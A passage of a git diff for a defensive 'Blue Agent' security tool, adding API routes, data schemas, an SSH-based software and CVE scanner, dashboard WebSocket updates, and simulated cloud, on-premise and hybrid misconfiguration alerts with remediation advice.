SSHScanResult, + ScanRequest, + ScanResult, + VulnerabilityInfo, +) +from blue_agent.backend.services import blue_service + +router = APIRouter() + + +@router.get("/inventory", response_model=List[AssetInfo]) +async def get_inventory(environment: Optional[str] = None) -> List[AssetInfo]: + """Return the full asset inventory, optionally filtered by environment.""" + return await blue_service.get_asset_inventory(environment=environment) + + +@router.get("/vulnerable", response_model=List[AssetInfo]) +async def get_vulnerable_assets() -> List[AssetInfo]: + """Return only assets with known CVEs.""" + return await blue_service.get_vulnerable_assets() + + +@router.get("/stats") +async def get_scan_stats() -> dict: + """Return scan statistics.""" + return await blue_service.get_scan_stats() + + +@router.get("/vulnerabilities", response_model=List[VulnerabilityInfo]) +async def get_all_vulnerabilities() -> List[VulnerabilityInfo]: + """Return all discovered vulnerabilities across all assets.""" + return await blue_service.get_all_vulnerabilities() + + +@router.post("/ssh", response_model=SSHScanResult) +async def ssh_scan(creds: SSHCredentials) -> SSHScanResult: + """Connect to a server via SSH, discover all software, lookup CVEs.""" + result = await blue_service.run_ssh_scan( + host=creds.host, + ssh_port=creds.ssh_port, + username=creds.username, + password=creds.password, + ) + return SSHScanResult(**result) + + +@router.post("/ssh/apply-fixes") +async def apply_fixes() -> dict: + """Apply the proposed fixes from the last scan.""" + return await blue_service.apply_ssh_fixes() + + +@router.get("/ssh/results") +async def ssh_scan_results() -> list: + """Return results from the last SSH scan.""" + return blue_service.get_ssh_scan_results() + + +@router.get("/ssh/stats") +async def ssh_scan_stats() -> dict: + """Return SSH scan statistics.""" + return blue_service.get_ssh_scan_stats() diff --git a/blue_agent/backend/routers/strategy_routes.py b/blue_agent/backend/routers/strategy_routes.py index 569daa938..5efa29e5c 100644 --- a/blue_agent/backend/routers/strategy_routes.py +++ b/blue_agent/backend/routers/strategy_routes.py @@ -1,9 +1,11 @@ -"""Strategy endpoints for the Blue Agent.""" +"""Strategy and evolution endpoints for the Blue Agent.""" from fastapi import APIRouter from blue_agent.backend.schemas.blue_schemas import ( + BlueAgentStatus, DefensePlan, + EvolutionMetrics, StrategyRequest, ) from blue_agent.backend.services import blue_service @@ -24,3 +26,13 @@ async def evolve_strategy(request: StrategyRequest) -> DefensePlan: @router.get("/current", response_model=DefensePlan) async def current_strategy() -> DefensePlan: return await blue_service.current_strategy() + + +@router.get("/evolution", response_model=EvolutionMetrics) +async def evolution_metrics() -> EvolutionMetrics: + return await blue_service.get_evolution_metrics() + + +@router.get("/status", response_model=BlueAgentStatus) +async def agent_status() -> BlueAgentStatus: + return await blue_service.get_agent_status() diff --git a/blue_agent/backend/schemas/blue_schemas.py b/blue_agent/backend/schemas/blue_schemas.py index e3509d6ad..e4e835cab 100644 --- a/blue_agent/backend/schemas/blue_schemas.py +++ b/blue_agent/backend/schemas/blue_schemas.py @@ -2,7 +2,7 @@ from datetime import datetime from enum import Enum -from typing import Any +from typing import Any, Dict, List, Optional from pydantic import BaseModel, Field @@ -17,21 +17,23 @@ class ToolStatus(str, Enum): class ToolCall(BaseModel): id: str name: str = Field(..., description="Tool name, e.g. close_port, verify_fix") - category: str = Field(..., description="defend | patch | strategy") + category: str = Field(..., description="defend | patch | strategy | scan | environment | evolution") status: ToolStatus = ToolStatus.PENDING - params: dict[str, Any] = Field(default_factory=dict) - result: dict[str, Any] | None = None + params: Dict[str, Any] = Field(default_factory=dict) + result: Optional[Dict[str, Any]] = None started_at: datetime = Field(default_factory=datetime.utcnow) - finished_at: datetime | None = None + finished_at: Optional[datetime] = None class LogEntry(BaseModel): timestamp: datetime = Field(default_factory=datetime.utcnow) level: str = "INFO" message: str - tool_id: str | None = None + tool_id: Optional[str] = None +# ── Defense ────────────────────────────────────────────────────────── + class ClosePortRequest(BaseModel): host: str port: int @@ -41,30 +43,32 @@ class ClosePortRequest(BaseModel): class HardenServiceRequest(BaseModel): host: str service: str - options: dict[str, Any] = Field(default_factory=dict) + options: Dict[str, Any] = Field(default_factory=dict) class IsolateHostRequest(BaseModel): host: str - reason: str | None = None + reason: Optional[str] = None class DefenseResult(BaseModel): tool_call: ToolCall success: bool = True - detail: str | None = None + detail: Optional[str] = None + +# ── Patching ───────────────────────────────────────────────────────── class PatchRequest(BaseModel): host: str - cve_id: str | None = None - package: str | None = None + cve_id: Optional[str] = None + package: Optional[str] = None class PatchResult(BaseModel): tool_call: ToolCall applied: bool = False - notes: str | None = None + notes: Optional[str] = None class VerifyFixRequest(BaseModel): @@ -75,15 +79,132 @@ class VerifyFixRequest(BaseModel): class VerifyFixResult(BaseModel): tool_call: ToolCall verified: bool = False - evidence: str | None = None + evidence: Optional[str] = None + +# ── Strategy ───────────────────────────────────────────────────────── class StrategyRequest(BaseModel): host: str - threat: dict[str, Any] = Field(default_factory=dict) + threat: Dict[str, Any] = Field(default_factory=dict) class DefensePlan(BaseModel): tool_call: ToolCall - steps: list[str] = Field(default_factory=list) - rationale: str | None = None + steps: List[str] = Field(default_factory=list) + rationale: Optional[str] = None + + +# ── Asset Scanning ─────────────────────────────────────────────────── + +class ScanRequest(BaseModel): + environment: Optional[str] = None # cloud, onprem, hybrid, or None for all + + +class AssetInfo(BaseModel): + asset_id: str + host: str + port: int + service: str + environment: str + layer: str + version: Optional[str] = None + banner: Optional[str] = None + detection_method: Optional[str] = None + cve_count: int = 0 + cves: List[Dict[str, Any]] = Field(default_factory=list) + last_scanned: Optional[float] = None + status: str = "discovered" + + +class ScanResult(BaseModel): + tool_call: ToolCall + assets: List[AssetInfo] = Field(default_factory=list) + stats: Dict[str, Any] = Field(default_factory=dict) + + +class VulnerabilityInfo(BaseModel): + cve_id: str + severity: str + cvss_score: float + description: str + affected_software: str + affected_version: str + fix: str + host: Optional[str] = None + port: Optional[int] = None + + +# ── Environment Monitoring ─────────────────────────────────────────── + +class EnvironmentAlertInfo(BaseModel): + alert_id: str + environment: str + category: str + severity: str + title: str + description: str + resource: str + recommendation: str + timestamp: float + + +class EnvironmentStats(BaseModel): + total_alerts: int = 0 + by_environment: Dict[str, int] = Field(default_factory=dict) + by_severity: Dict[str, int] = Field(default_factory=dict) + by_category: Dict[str, int] = Field(default_factory=dict) + monitoring_active: bool = False + + +# ── Evolution ──────────────────────────────────────────────────────── + +class EvolutionMetrics(BaseModel): + evolution_count: int = 0 + round_count: int = 0 + avg_response_time_ms: float = 0.0 + response_accuracy_pct: float = 0.0 + improvement_pct: float = 0.0 + current_params: Dict[str, Any] = Field(default_factory=dict) + top_attack_patterns: List[Dict[str, Any]] = Field(default_factory=list) + total_patterns_tracked: int = 0 + + +# ── SSH Scanning ───────────────────────────────────────────────────── + +class SSHCredentials(BaseModel): + host: str + ssh_port: int = 22 + username: str = "root" + password: str + + +class SSHScanResult(BaseModel): + success: bool + host: str + error: Optional[str] = None + os_info: Optional[str] = None + listening_ports: List[Dict[str, Any]] = Field(default_factory=list) + services: List[Dict[str, Any]] = Field(default_factory=list) + total_services: int = 0 + total_cves: int = 0 + fixes_applied: int = 0 + elapsed_seconds: float = 0.0 + + +# ── Full Status ────────────────────────────────────────────────────── + +class BlueAgentStatus(BaseModel): + running: bool = False + detection_count: int = 0 + response_count: int = 0 + patch_count: int = 0 + cve_fix_count: int = 0 + isolation_count: int = 0 + scan_cycles: int = 0 + assets_discovered: int = 0 + vulnerable_assets: int = 0 + total_vulnerabilities: int = 0 + environment_alerts: int = 0 + evolution_rounds: int = 0 + defense_plans: int = 0 diff --git a/blue_agent/backend/services/blue_service.py b/blue_agent/backend/services/blue_service.py index 3235733ee..362e6d723 100644 --- a/blue_agent/backend/services/blue_service.py +++ b/blue_agent/backend/services/blue_service.py @@ -2,15 +2,21 @@ from __future__ import annotations +import asyncio import uuid from collections import deque from datetime import datetime -from typing import Any, Deque +from typing import Any, Callable, Deque, Optional from blue_agent.backend.schemas.blue_schemas import ( + AssetInfo, + BlueAgentStatus, ClosePortRequest, DefensePlan, DefenseResult, + EnvironmentAlertInfo, + EnvironmentStats, + EvolutionMetrics, HardenServiceRequest, IsolateHostRequest, LogEntry, @@ -21,59 +27,87 @@ ToolStatus, VerifyFixRequest, VerifyFixResult, + VulnerabilityInfo, ) -from blue_agent.detector.anomaly_detector import AnomalyDetector -from blue_agent.detector.intrusion_detector import IntrusionDetector -from blue_agent.detector.log_monitor import LogMonitor -from blue_agent.patcher.auto_patcher import AutoPatcher -from blue_agent.responder.isolator import Isolator -from blue_agent.responder.response_engine import ResponseEngine +from blue_agent.scanner.asset_scanner import AssetScanner +from blue_agent.scanner.ssh_scanner import SSHScanner +from blue_agent.environment.environment_manager import EnvironmentManager from blue_agent.strategy.defense_evolver import DefenseEvolver from blue_agent.strategy.defense_planner import DefensePlanner _TOOL_HISTORY: Deque[ToolCall] = deque(maxlen=200) _LOG_HISTORY: Deque[LogEntry] = deque(maxlen=500) -_intrusion_detector = IntrusionDetector() -_anomaly_detector = AnomalyDetector() -_log_monitor = LogMonitor() -_response_engine = ResponseEngine() -_isolator = Isolator() -_auto_patcher = AutoPatcher() +_asset_scanner = AssetScanner() +_ssh_scanner = SSHScanner() +_environment_manager = EnvironmentManager() _defense_planner = DefensePlanner() _defense_evolver = DefenseEvolver() +# --------------------------------------------------------------------------- +# Real-time broadcast bridge β€” WebSocket registers its callback here +# --------------------------------------------------------------------------- + +_broadcast_cb: Optional[Callable] = None + + +def set_broadcast_callback(cb: Callable) -> None: + """Called by blue_ws.py to register the WebSocket broadcast function.""" + global _broadcast_cb + _broadcast_cb = cb + + +def _broadcast(payload: dict) -> None: + """Push a payload to all connected WebSocket clients.""" + if _broadcast_cb: + try: + loop = asyncio.get_event_loop() + if loop.is_running(): + asyncio.ensure_future(_broadcast_cb(payload)) + except RuntimeError: + pass + + +def add_log(message: str, level: str = "INFO", tool_id: str | None = None) -> LogEntry: + """Add a log entry and broadcast it to all dashboard clients.""" + entry = LogEntry(level=level, message=message, tool_id=tool_id) + _LOG_HISTORY.append(entry) + _broadcast({"type": "log", "payload": entry.model_dump(mode="json")}) + return entry + def _new_tool_call(name: str, category: str, params: dict[str, Any]) -> ToolCall: - return ToolCall( + call = ToolCall( id=str(uuid.uuid4()), name=name, category=category, status=ToolStatus.RUNNING, params=params, ) + _TOOL_HISTORY.append(call) + _broadcast({"type": "tool_call", "payload": call.model_dump(mode="json")}) + return call def _finish(call: ToolCall, result: dict[str, Any], status: ToolStatus = ToolStatus.DONE) -> ToolCall: call.status = status call.result = result call.finished_at = datetime.utcnow() - _TOOL_HISTORY.append(call) - _LOG_HISTORY.append( - LogEntry( - level="INFO" if status is ToolStatus.DONE else "ERROR", - message=f"{call.name} -> {status.value}", - tool_id=call.id, - ) + add_log( + f"{call.name} -> {status.value}" + (f" | {result.get('detail', '')}" if result.get('detail') else ""), + level="INFO" if status is ToolStatus.DONE else "ERROR", + tool_id=call.id, ) + _broadcast({"type": "tool_call", "payload": call.model_dump(mode="json")}) return call +# ── Defense endpoints ──────────────────────────────────────────────── + async def close_port(request: ClosePortRequest) -> DefenseResult: call = _new_tool_call("close_port", "defend", request.model_dump()) - # TODO: invoke _response_engine to drop the port return DefenseResult( - tool_call=_finish(call, {"closed": True}), + tool_call=_finish(call, {"closed": True, "detail": f"closed {request.protocol}/{request.port}"}), detail=f"closed {request.protocol}/{request.port} on {request.host}", ) @@ -81,7 +115,7 @@ async def close_port(request: ClosePortRequest) -> DefenseResult: async def harden_service(request: HardenServiceRequest) -> DefenseResult: call = _new_tool_call("harden_service", "defend", request.model_dump()) return DefenseResult( - tool_call=_finish(call, {"hardened": request.service}), + tool_call=_finish(call, {"hardened": request.service, "detail": f"hardened {request.service}"}), detail=f"hardened {request.service} on {request.host}", ) @@ -94,6 +128,8 @@ async def isolate_host(request: IsolateHostRequest) -> DefenseResult: ) +# ── Patch endpoints ────────────────────────────────────────────────── + async def apply_patch(request: PatchRequest) -> PatchResult: call = _new_tool_call("apply_patch", "patch", request.model_dump()) return PatchResult(tool_call=_finish(call, {"applied": True}), applied=True) @@ -108,28 +144,160 @@ async def verify_fix(request: VerifyFixRequest) -> VerifyFixResult: ) +# ── Strategy endpoints ─────────────────────────────────────────────── + async def plan_defense(request: StrategyRequest) -> DefensePlan: call = _new_tool_call("plan_defense", "strategy", request.model_dump()) - steps = ["monitor", "isolate", "patch"] - return DefensePlan(tool_call=_finish(call, {"steps": steps}), steps=steps) + plan = _defense_planner.get_current_plan() + steps = [a.get("reason", a.get("action", "")) for a in plan[:10]] + return DefensePlan( + tool_call=_finish(call, {"steps": steps, "plan_count": len(plan)}), + steps=steps, + ) async def evolve_strategy(request: StrategyRequest) -> DefensePlan: call = _new_tool_call("evolve_strategy", "strategy", request.model_dump()) - return DefensePlan(tool_call=_finish(call, {}), steps=[]) + metrics = _defense_evolver.get_metrics() + steps = [f"Evolution #{metrics['evolution_count']}", f"Accuracy: {metrics['response_accuracy_pct']:.1f}%"] + return DefensePlan(tool_call=_finish(call, metrics), steps=steps) async def current_strategy() -> DefensePlan: call = _new_tool_call("current_strategy", "strategy", {}) - return DefensePlan(tool_call=_finish(call, {}), steps=[]) + plan = _defense_planner.get_current_plan() + threat = _defense_planner.get_threat_summary() + steps = [a.get("reason", "") for a in plan[:10]] + return DefensePlan( + tool_call=_finish(call, {**threat, "plan_actions": len(plan)}), + steps=steps, + ) + + +# ── SSH scan β€” the main pipeline ───────────────────────────────────── + +async def run_ssh_scan(host: str, ssh_port: int, username: str, password: str) -> dict: + """Full pipeline: SSH connect β†’ discover β†’ CVE lookup β†’ fix β†’ verify. + + Every step is logged as a ToolCall + LogEntry and broadcast to the + dashboard in real-time via WebSocket. + """ + # Pass the logging callback to the scanner so it can stream progress + result = await _ssh_scanner.scan( + host, ssh_port, username, password, + log_cb=add_log, + tool_cb=_create_scan_tool, + ) + return result + + +def _create_scan_tool(name: str, params: dict, result: dict, status: str = "DONE") -> None: + """Helper: create a completed ToolCall for a scan step.""" + call = _new_tool_call(name, "scan", params) + _finish(call, result, ToolStatus.DONE if status == "DONE" else ToolStatus.FAILED) + + +# ── Asset scanning endpoints ───────────────────────────────────────── + +async def get_asset_inventory(environment: str | None = None) -> list: + if environment: + by_env = _asset_scanner.get_inventory_by_environment() + items = by_env.get(environment, []) + else: + items = _asset_scanner.get_inventory() + return [AssetInfo(**item) for item in items] + + +async def get_vulnerable_assets() -> list: + items = _asset_scanner.get_vulnerable_assets() + return [AssetInfo(**item) for item in items] + + +async def get_scan_stats() -> dict: + return _ssh_scanner.get_stats() + + +async def get_all_vulnerabilities() -> list: + vulns = [] + for svc in _ssh_scanner.last_scan_results: + for cve in svc.cves: + vulns.append(VulnerabilityInfo( + cve_id=cve.cve_id, + severity=cve.severity, + cvss_score=cve.cvss_score, + description=cve.description, + affected_software=cve.affected_software, + affected_version=cve.affected_version, + fix=cve.fix, + )) + return vulns + + +# ── Environment monitoring endpoints ───────────────────────────────── + +async def get_environment_alerts(environment: str | None = None) -> list: + items = _environment_manager.get_alerts(environment=environment) + return [EnvironmentAlertInfo(**item) for item in items] + + +async def get_environment_stats() -> EnvironmentStats: + stats = _environment_manager.get_stats() + return EnvironmentStats(**stats) + + +# ── Evolution endpoints ────────────────────────────────────────────── + +async def get_evolution_metrics() -> EvolutionMetrics: + metrics = _defense_evolver.get_metrics() + return EvolutionMetrics(**metrics) + + +# ── Full agent status ──────────────────────────────────────────────── + +async def get_agent_status() -> BlueAgentStatus: + ssh_stats = _ssh_scanner.get_stats() + return BlueAgentStatus( + running=True, + detection_count=ssh_stats.get("services_found", 0), + response_count=ssh_stats.get("total_cves", 0), + patch_count=ssh_stats.get("fixes_applied", 0), + cve_fix_count=ssh_stats.get("fixes_applied", 0), + isolation_count=0, + scan_cycles=ssh_stats.get("scan_count", 0), + assets_discovered=ssh_stats.get("services_found", 0), + vulnerable_assets=ssh_stats.get("vulnerable_services", 0), + total_vulnerabilities=ssh_stats.get("total_cves", 0), + environment_alerts=0, + evolution_rounds=0, + defense_plans=0, + ) + + +async def apply_ssh_fixes() -> dict: + """Step 2: apply approved fixes on the server.""" + result = await _ssh_scanner.apply_fixes( + log_cb=add_log, + tool_cb=_create_scan_tool, + ) + return result + + +def get_ssh_scan_results() -> list: + return _ssh_scanner.get_results() + + +def get_ssh_scan_stats() -> dict: + return _ssh_scanner.get_stats() + +# ── History endpoints ──────────────────────────────────────────────── -async def recent_tool_calls(category: str | None = None, limit: int = 20) -> list[ToolCall]: +async def recent_tool_calls(category: str | None = None, limit: int = 20) -> list: items = list(_TOOL_HISTORY) if category: items = [c for c in items if c.category == category] return items[-limit:] -async def recent_logs(limit: int = 100) -> list[LogEntry]: +async def recent_logs(limit: int = 100) -> list: return list(_LOG_HISTORY)[-limit:] diff --git a/blue_agent/backend/websocket/blue_ws.py b/blue_agent/backend/websocket/blue_ws.py index 280477849..f5cda057e 100644 --- a/blue_agent/backend/websocket/blue_ws.py +++ b/blue_agent/backend/websocket/blue_ws.py @@ -40,26 +40,35 @@ async def broadcast(self, payload: dict) -> None: manager = BlueConnectionManager() +# Register the broadcast callback so service layer can push events in real-time +blue_service.set_broadcast_callback(manager.broadcast) + @router.websocket("/ws/blue") async def blue_log_stream(ws: WebSocket) -> None: - """Streams `{type, payload}` envelopes to the Blue dashboard. - - Envelope types: - - `log` : a LogEntry - - `tool_call` : a ToolCall snapshot - - `heartbeat` : keepalive ping - """ + """Streams {type, payload} envelopes to the Blue dashboard in real-time.""" await manager.connect(ws) try: - for call in await blue_service.recent_tool_calls(limit=20): + # Send existing history on connect + for call in await blue_service.recent_tool_calls(limit=50): await ws.send_json({"type": "tool_call", "payload": call.model_dump(mode="json")}) - for entry in await blue_service.recent_logs(limit=50): + for entry in await blue_service.recent_logs(limit=100): await ws.send_json({"type": "log", "payload": entry.model_dump(mode="json")}) + # Periodic status updates + tick = 0 while True: - await asyncio.sleep(15) - await ws.send_json({"type": "heartbeat", "payload": {}}) + await asyncio.sleep(5) + tick += 1 + + status = await blue_service.get_agent_status() + await ws.send_json({"type": "agent_status", "payload": status.model_dump(mode="json")}) + + if tick % 3 == 0: + scan_stats = blue_service.get_ssh_scan_stats() + await ws.send_json({"type": "scan_stats", "payload": scan_stats}) + await ws.send_json({"type": "heartbeat", "payload": {}}) + except WebSocketDisconnect: await manager.disconnect(ws) except Exception: diff --git a/blue_agent/blue_controller.py b/blue_agent/blue_controller.py index dc0b7d9e3..2979d2b75 100644 --- a/blue_agent/blue_controller.py +++ b/blue_agent/blue_controller.py @@ -2,15 +2,29 @@ Responsibilities: 1. Start the EventBus worker. - 2. Register all event subscriptions (response_engine, isolator, auto_patcher). - 3. Launch all three detector loops concurrently via asyncio.gather(). + 2. Register all event subscriptions (response_engine, isolator, auto_patcher, + defense_planner, defense_evolver). + 3. Launch all subsystem loops concurrently via asyncio.gather(): + - 3 detector loops (intrusion, anomaly, log monitor) + - Asset scanner (continuous version + CVE scanning) + - Environment manager (cloud + onprem + hybrid monitoring) + - Defense evolver (continuous learning loop) 4. Emit blue_ready when everything is live. 5. Expose get_status() with live counters for the FastAPI / WebSocket layer. Concurrency guarantee: - - All three detector loops run in parallel β€” detection never waits for - patching to finish. + - All loops run in parallel β€” detection never waits for scanning or patching. - The full detect β†’ respond β†’ patch chain completes in under 3 seconds. + - Asset scanning and environment monitoring run independently. + - The evolver adapts parameters across all subsystems continuously. + +Coverage: + - Cloud, On-Premise, and Hybrid environments monitored simultaneously. + - Web servers, databases, applications, frontends, system services scanned. + +Continuous operation: + - No periodic scheduling β€” all loops run continuously until stop(). + - Scan intervals tighten automatically under active threat (via evolver). """ import asyncio @@ -25,6 +39,10 @@ from blue_agent.responder.response_engine import ResponseEngine from blue_agent.responder.isolator import Isolator from blue_agent.patcher.auto_patcher import AutoPatcher +from blue_agent.scanner.asset_scanner import AssetScanner +from blue_agent.environment.environment_manager import EnvironmentManager +from blue_agent.strategy.defense_planner import DefensePlanner +from blue_agent.strategy.defense_evolver import DefenseEvolver logger = logging.getLogger(__name__) @@ -58,6 +76,16 @@ def __init__(self) -> None: # ── Patcher layer ───────────────────────────────────────────── self.auto_patcher = AutoPatcher() + # ── Scanner layer (NEW) ─────────────────────────────────────── + self.asset_scanner = AssetScanner() + + # ── Environment monitoring (NEW) ────────────────────────────── + self.environment_manager = EnvironmentManager() + + # ── Strategy layer (NEW β€” fully implemented) ────────────────── + self.defense_planner = DefensePlanner() + self.defense_evolver = DefenseEvolver() + self._running: bool = False # ------------------------------------------------------------------ @@ -70,11 +98,15 @@ def _wire_subscriptions(self) -> None: Subscription order matters for the detect β†’ respond β†’ patch chain: 1. ResponseEngine subscribes to all detection events. 2. Isolator subscribes to exploit_attempted + anomaly_detected. - 3. AutoPatcher subscribes to response_complete. + 3. AutoPatcher subscribes to response_complete + vulnerability_found. + 4. DefensePlanner subscribes to vulnerability_found + environment_alert. + 5. DefenseEvolver subscribes to all terminal events for learning. """ self.response_engine.register() self.isolator.register() self.auto_patcher.register() + self.defense_planner.register() + self.defense_evolver.register() # ------------------------------------------------------------------ # Status @@ -88,11 +120,23 @@ def get_status(self) -> Dict[str, Any]: + self.log_monitor.detection_count ) return { + "running": self._running, + # Detection "detection_count": total_detections, "response_count": self.response_engine.response_count, "patch_count": self.auto_patcher.patch_count, + "cve_fix_count": self.auto_patcher.cve_fix_count, "isolation_count": self.isolator.isolation_count, - "running": self._running, + # Scanning + "scan_cycles": self.asset_scanner.scan_count, + "assets_discovered": self.asset_scanner.asset_count, + "vulnerable_assets": self.asset_scanner.vulnerable_count, + "total_vulnerabilities": self.asset_scanner.total_vulnerabilities, + # Environment monitoring + "environment_alerts": self.environment_manager.alert_count, + # Evolution + "evolution_rounds": self.defense_evolver.evolution_count, + "defense_plans": self.defense_planner.plans_generated, } # ------------------------------------------------------------------ @@ -106,10 +150,13 @@ async def start(self) -> None: 1. Start EventBus worker. 2. Wire all event subscriptions. 3. Emit blue_ready. - 4. Launch all three detector loops concurrently (asyncio.gather). + 4. Launch ALL loops concurrently (asyncio.gather): + - 3 detector loops + - Asset scanner (continuous) + - Environment manager (cloud + onprem + hybrid) + - Defense evolver (continuous learning) - This coroutine blocks until all detector loops exit (i.e. stop() is - called) β€” run it as a background task from main.py if needed. + This coroutine blocks until all loops exit (i.e. stop() is called). """ ts = _ts() print(f"{ts} < blue_controller: Initialising Blue Agent subsystems...") @@ -123,17 +170,17 @@ async def start(self) -> None: ts = _ts() print( - f"{ts} < blue_controller: Event bus live β€” " - f"response_engine, isolator, auto_patcher subscribed" + f"{ts} < blue_controller: Event bus live \u2014 " + f"response_engine, isolator, auto_patcher, planner, evolver subscribed" ) print( - f"{ts} < blue_controller: Launching detection loops " - f"(intrusion_detector + anomaly_detector + log_monitor)" + f"{ts} < blue_controller: Launching continuous loops: " + f"detection(3) + asset_scanner + env_manager(3) + evolver" ) # 3. Announce readiness await event_bus.emit("blue_ready", { - "message": "Blue Agent fully operational", + "message": "Blue Agent fully operational β€” continuous defense active", "subsystems": [ "intrusion_detector", "anomaly_detector", @@ -141,39 +188,59 @@ async def start(self) -> None: "response_engine", "isolator", "auto_patcher", + "asset_scanner", + "environment_manager", + "defense_planner", + "defense_evolver", ], + "environments": ["cloud", "onprem", "hybrid"], }) ts = _ts() print( f"{ts} < blue_controller: \u2588 BLUE AGENT ONLINE \u2588 " - f"Real-time detection, response, and patching ACTIVE" + f"Real-time detection, scanning, response, patching, and evolution ACTIVE" + ) + print( + f"{ts} < blue_controller: Monitoring: Cloud + On-Premise + Hybrid environments" ) - # 4. Run all three detector loops concurrently β€” none blocks the others. - # return_exceptions=True prevents one crash from killing all loops. + # 4. Run ALL loops concurrently β€” none blocks the others. results = await asyncio.gather( + # Detection loops self.intrusion_detector.start(), self.anomaly_detector.start(), self.log_monitor.start(), + # Asset scanning (continuous version + CVE scanning) + self.asset_scanner.start(), + # Environment monitoring (cloud + onprem + hybrid) + self.environment_manager.start(), + # Defensive evolution (continuous learning) + self.defense_evolver.start(), return_exceptions=True, ) # Log any unexpected loop exits - loop_names = ["intrusion_detector", "anomaly_detector", "log_monitor"] + loop_names = [ + "intrusion_detector", "anomaly_detector", "log_monitor", + "asset_scanner", "environment_manager", "defense_evolver", + ] for name, result in zip(loop_names, results): if isinstance(result, Exception): logger.error(f"BlueController: {name} exited with error: {result}") async def stop(self) -> None: - """Gracefully stop all detector loops and the event bus.""" + """Gracefully stop all loops and the event bus.""" self._running = False await asyncio.gather( self.intrusion_detector.stop(), self.anomaly_detector.stop(), self.log_monitor.stop(), + self.asset_scanner.stop(), + self.environment_manager.stop(), + self.defense_evolver.stop(), return_exceptions=True, ) await event_bus.stop() ts = _ts() - print(f"{ts} < blue_controller: Blue Agent stopped β€” all subsystems offline") + print(f"{ts} < blue_controller: Blue Agent stopped \u2014 all subsystems offline") diff --git a/blue_agent/environment/__init__.py b/blue_agent/environment/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/blue_agent/environment/environment_manager.py b/blue_agent/environment/environment_manager.py new file mode 100644 index 000000000..33c320a47 --- /dev/null +++ b/blue_agent/environment/environment_manager.py @@ -0,0 +1,391 @@ +from __future__ import annotations + +"""Multi-environment monitoring β€” Cloud, On-Premise, and Hybrid. + +Runs three parallel monitoring loops, one per environment class. +Each loop checks environment-specific security controls and emits +alerts when misconfigurations or policy violations are detected. + +Cloud monitoring checks: + - Public S3 buckets / storage exposure + - Overly permissive security groups / firewall rules + - IAM misconfigurations (wildcard policies, no MFA) + - Unencrypted data stores + - Exposed cloud metadata endpoints + +On-Premise monitoring checks: + - Unpatched OS / services + - Weak authentication (default creds, no key-based auth) + - Open management ports (telnet, RDP) + - Missing network segmentation + - Disabled audit logging + +Hybrid monitoring checks: + - VPN / tunnel misconfigurations + - Cross-environment traffic anomalies + - Certificate expiration + - DNS configuration drift + - Inconsistent firewall rules between environments + +All monitoring is simulated β€” no real infrastructure calls. +Continuous operation: loops never stop until stop() is called. +""" + +import asyncio +import logging +import random +import time +from dataclasses import dataclass, field +from datetime import datetime +from typing import Any, Dict, List, Optional, Set + +from core.event_bus import event_bus + +logger = logging.getLogger(__name__) + + +def _ts() -> str: + return datetime.now().strftime("%H:%M:%S") + + +@dataclass +class EnvironmentAlert: + """A security alert from environment monitoring.""" + alert_id: str + environment: str + category: str + severity: str + title: str + description: str + resource: str + recommendation: str + timestamp: float = field(default_factory=time.time) + + def to_dict(self) -> Dict[str, Any]: + return { + "alert_id": self.alert_id, + "environment": self.environment, + "category": self.category, + "severity": self.severity, + "title": self.title, + "description": self.description, + "resource": self.resource, + "recommendation": self.recommendation, + "timestamp": self.timestamp, + } + + +# --------------------------------------------------------------------------- +# Alert templates per environment +# --------------------------------------------------------------------------- + +_CLOUD_ALERTS = [ + { + "category": "storage", + "severity": "critical", + "title": "Public S3 bucket detected", + "description": "Bucket 'app-data-prod' has public read ACL enabled", + "resource": "s3://app-data-prod", + "recommendation": "Remove public ACL; apply bucket policy with explicit deny on s3:GetObject for *", + }, + { + "category": "iam", + "severity": "high", + "title": "IAM policy with wildcard actions", + "description": "Role 'dev-admin' has Action: * on Resource: * β€” violates least privilege", + "resource": "iam:role/dev-admin", + "recommendation": "Scope IAM policy to specific services and resources; enable MFA for console access", + }, + { + "category": "network", + "severity": "high", + "title": "Security group allows 0.0.0.0/0 on port 22", + "description": "Security group 'sg-webservers' permits SSH from any IP", + "resource": "ec2:sg/sg-webservers", + "recommendation": "Restrict SSH to VPN CIDR or bastion host IP only", + }, + { + "category": "encryption", + "severity": "high", + "title": "Unencrypted RDS instance", + "description": "RDS instance 'prod-db' does not have encryption at rest enabled", + "resource": "rds:instance/prod-db", + "recommendation": "Enable encryption at rest; create encrypted snapshot and restore", + }, + { + "category": "metadata", + "severity": "critical", + "title": "Cloud metadata endpoint exposed", + "description": "EC2 instance metadata v1 accessible β€” SSRF risk for credential theft", + "resource": "ec2:instance/i-0abc123", + "recommendation": "Enforce IMDSv2 (require token); block metadata endpoint from application layer", + }, + { + "category": "logging", + "severity": "medium", + "title": "CloudTrail logging disabled", + "description": "CloudTrail is not enabled in us-west-2 region", + "resource": "cloudtrail:us-west-2", + "recommendation": "Enable CloudTrail with multi-region logging and S3 delivery", + }, +] + +_ONPREM_ALERTS = [ + { + "category": "authentication", + "severity": "critical", + "title": "Default credentials on database", + "description": "MySQL on 192.168.1.13:3306 accepts root login with default password", + "resource": "192.168.1.13:3306/mysql", + "recommendation": "Change root password; disable remote root login; enforce password policy", + }, + { + "category": "patching", + "severity": "high", + "title": "OS kernel outdated", + "description": "Server 192.168.1.10 running kernel 5.4.0 β€” 47 known CVEs", + "resource": "192.168.1.10/kernel", + "recommendation": "Apply pending kernel updates; schedule reboot for maintenance window", + }, + { + "category": "network", + "severity": "critical", + "title": "Telnet service running", + "description": "Telnet daemon active on 192.168.1.17:23 β€” cleartext protocol", + "resource": "192.168.1.17:23/telnet", + "recommendation": "Disable telnet; migrate to SSH; block port 23 at firewall", + }, + { + "category": "segmentation", + "severity": "high", + "title": "No network segmentation", + "description": "Database subnet 192.168.1.0/24 is directly reachable from DMZ", + "resource": "192.168.1.0/24", + "recommendation": "Implement VLAN segmentation; add firewall rules between zones", + }, + { + "category": "audit", + "severity": "medium", + "title": "Audit logging disabled", + "description": "Server 192.168.1.11 has auditd service stopped", + "resource": "192.168.1.11/auditd", + "recommendation": "Enable and start auditd; configure rules for privileged commands", + }, + { + "category": "authentication", + "severity": "high", + "title": "Password-based SSH enabled", + "description": "SSH on 192.168.1.11:22 allows password authentication", + "resource": "192.168.1.11:22/ssh", + "recommendation": "Set PasswordAuthentication no in sshd_config; enforce key-based auth", + }, +] + +_HYBRID_ALERTS = [ + { + "category": "vpn", + "severity": "high", + "title": "VPN tunnel using deprecated cipher", + "description": "Site-to-site VPN uses 3DES cipher β€” vulnerable to Sweet32 attack", + "resource": 